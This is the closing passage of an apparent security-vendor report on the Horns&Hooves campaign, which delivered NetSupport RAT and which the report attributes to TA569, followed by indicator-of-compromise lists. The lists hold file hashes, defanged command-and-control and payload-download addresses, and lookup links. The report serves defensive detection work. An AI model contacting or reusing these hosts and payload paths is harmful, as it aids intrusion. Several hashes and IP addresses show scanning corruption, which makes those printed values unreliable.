campaign, since the earliest scripts distributed Rhadamanthys instead of NetSupport RAT.

Takeaways

This post has looked in detail at several ways of delivering and using legitimate software for malicious purposes
as part of a sustained campaign. Over the course of the campaign, the attackers changed some of their tactics and
experimented with new tools. For instance, they gradually moved away from using additional servers to deliver
the payload, leaving only two as a result, which the remote administration software itself uses. Also, the attackers
initially weaponized BurnsRAT, but then abandoned it and placed all the program code for installing and running
NetSupport RAT in a single script. They probably found this approach more efficient in terms of both

development and difficulty of detection.

We were able to determine with a high degree of certainty that the campaign is linked to the TA569 group, which
gains access to organizations and then sells it to other cybercriminals on the dark web. Depending on whose hands
this access falls into, the consequences for victim companies can range from data theft to encryption and damage

to systems. We also observed attempts to install stealers on some infected machines.
Indicators of compromise

Malicious file hashes

Version A
327a1f32572b4606ae19085769042e51 — HTA
34eb579dc89e1dc0507ad646a8dce8be — bat_install.bat

Version B

b3bde532cfbb95¢567¢069ca5f90652c — JS
29362dcdb6c57dde0c112e25¢9706dcf — www.php
882f2de65605dd90ee17fb65a01fe2c7 — installet_bat_vbs.bat

Version C

5f4284115ab9641f1532bb64b650aad6 — JS
0fea857a35b972899e8f1f60ee58e450 — www.php
20014b80a139ed256621b9c0ac4d7076 — BLD.exe
7f0ee078c8902f12d6d9e300dabfbaed — 1.js

Version D

63647520b36144e31fb8ad7dd10e3d21 — JS
8096e00aa7877b863ef5a437f55c¢8277 — www.php
12ab1bc0989b32¢55743df9b8c46af5a — 666.bat
50dc5faa02227c0aefa8b54c8e5b2b0d — 1.yay
€760a5ce807c756451072376f88760d7 — ngg_cl.zip
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https://opentip.kaspersky.com/327a1f32572b4606ae19085769042e51/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b9a929a361cdf5ee&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/34eb579dc89e1dc0507ad646a8dce8be/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______7ddf8d7aad2383fa&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/b3bde532cfbb95c567c069ca5f90652c/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e9c2d4e02fa60256&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/29362dcdb6c57dde0c112e25c9706dcf/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b2ba9d4cb6c64b3d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/882f2de65605dd90ee17fb65a01fe2c7/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______3a5d90b876e1e3fd&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/5f4284115ab9641f1532bb64b650aad6/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______0d1abecfa90968f2&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/0fea857a35b972899e8f1f60ee58e450/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a10b0327c2aa7eea&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/20014b80a139ed256621b9c0ac4d7076/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ea808ffa4cd82cf7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/7f0ee078c8902f12d6d9e300dabf6aed/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c1fc278cc0c37603&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/63647520b36144e31fb8ad7dd10e3d21/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c29b3cb5e82f257d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/8096e00aa7877b863ef5a437f55c8277/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______cc240d40c0664d53&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/12ab1bc0989b32c55743df9b8c46af5a/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______8e05756e7e65f2e6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/50dc5faa02227c0aefa8b54c8e5b2b0d/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1ad2b68892147a0e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/e760a5ce807c756451072376f88760d7/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______33cdd32f2299966f&utm_source=SL&utm_medium=SL&utm_campaign=SL
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Version E

b03c67239e1e774077995bac331a8950 — 2023.07
ba69cc9f087411995c64ca0d96da7b69 — 2023.09
051552b4da740a3af5bd5643b1dc239a — 2024.02

BurnsRAT C&C
hxxp://193[.142[.132[.1138/api/
hxxp://87[.1251[.167[.151/api/

Links, version A
hxxp://31[.144[.14[.140/test/bat_install.bat

hxxps://golden-scalen|.]com/files/*

Links, version B
hxxp://188[.]1227[.158[.]1243/pretencia/www.php
hxxp://188[.]1227[.]58[.]1243/zayavka/www.php
hxxp://188[.]227[.]58[.]243/pretencia/installet bat vbs.bat

hxxps://golden-scalen|.]com/files/*

Links, version C
hxxp://188[.]227[.]106[.]124/test/js/www.php
hxxp://188[.1227[.]1106[.]124/test/js/BLD.exe
hxxp://188[.]1227[.]106[.]124/test/js/1.js

Links, version D
hxxp://45[.]1133[.]16[.]135/zayavka/www.php
hxxp://45[.1133[.116[.1135/zayavka/666.bat
hxxp://45[,]1133[,]16[.]1135/zayavka/1.yay

hxxp://golden-scalen[.]com/ngg_cl.zip

Client32.ini for Horns&Hooves
edfb8d26fa34436f2e92d5bel1cb5901b
3e86f6fc7ed037f3c9560cc59aa7aacc
ae4d6812f5638d95a82b3fa3d4f92861

Client32.ini known to belong to TA569
67677c815070ca2e3ebd57a6adb58d2e

Nsm.lic

17a78f50e32679f228c43823faabedfd — DERTERT
b9956282a0fed076ed083892e498ac69 — DCVTTTUUEEW?23
1b41e64c60ca9dfadeb063cd822ab089 — HANEYMANEY

NetSupport RAT C2 centers for Horns&Hooves
xoomepl[.Jcom

xoomep2[.]Jcom
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https://opentip.kaspersky.com/b03c67239e1e774077995bac331a8950/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______2cbfb49e610e8002&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/ba69cc9f087411995c64ca0d96da7b69/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d011d293028b835d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/051552b4da740a3af5bd5643b1dc239a/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______05ef7c453533c85a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F193.42.32.138%2Fapi%2F/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______f9dd572eb406fadc&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F87.251.67.51%2Fapi%2F/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e96ba09ff5e13abf&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F31.44.4.40%2Ftest%2Fbat_install.bat/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______038a672f71b89654&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3A%2F%2Fgolden-scalen.com%2Ffiles%2F/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______71aa7b736d759bf6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F188.227.58.243%2Fpretencia%2Fwww.php/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______917b927f4c1639db&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F188.227.58.243%2Fzayavka%2Fwww.php/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b098e136ca65e220&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F188.227.58.243%2Fpretencia%2Finstallet_bat_vbs.bat/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______9473c7f2ae25d1d7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3A%2F%2Fgolden-scalen.com%2Ffiles%2F/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______71aa7b736d759bf6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F188.227.106.124%2Ftest%2Fjs%2Fwww.php/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______14b64d4ea7f3b45d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F188.227.106.124%2Ftest%2Fjs%2FBLD.exe/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b9b308f44c8e0288&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F188.227.106.124%2Ftest%2Fjs%2F1.js/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______82769ab04ab6e40c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F45.133.16.135%2Fzayavka%2Fwww.php/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______2f609545c288a558&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F45.133.16.135%2Fzayavka%2F666.bat/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d88940861087f13b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2F45.133.16.135%2Fzayavka%2F1.yay/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e50d90081f80751f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3A%2F%2Fgolden-scalen.com%2Fngg_cl.zip/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______6b8c0e8989729398&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/edfb8d26fa34436f2e92d5be1cb5901b/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______768cf186fef34209&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/3e86f6fc7ed037f3c9560cc59aa7aacc/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4c2d0e47347471df&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/ae4d6812f5638d95a82b3fa3d4f92861/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d4c452b6cb6262b1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/67677c815070ca2e3ebd57a6adb58d2e/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______90d0b837ead308f7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/17a78f50e32679f228c43823faabedfd/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______adf9de52c02908f8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/b9956282a0fed076ed083892e498ac69/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______77885fad8079987b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/1b41e64c60ca9dfadeb063cd822ab089/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e16e9cd2e726346a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/xoomep1.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d54fcaf9674301c2&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/xoomep2.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______8c062f908f2dbfd1&utm_source=SL&utm_medium=SL&utm_campaign=SL
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labudankall[,]com
labudanka?[.]com

gribidil[.]Jcom

gribidi2[.]Jcom

C2 centers known to be linked to TA569
shetrn1[.]com

shetrn?[.]com

Source: https://securelist.com/horns-n-hooves-campaign-delivering-netsupport-rat/114740/
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https://opentip.kaspersky.com/labudanka1.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______52843da2df8cb440&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/labudanka2.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______9e68571feea5dd6f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/gribidi1.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a0a2ef188f46eb32&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/gribidi2.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______aab11fa1a9ecea43&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/shetrn1.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______9e149fe0de2e421c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/shetrn2.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______6167f271539455ae&utm_source=SL&utm_medium=SL&utm_campaign=SL

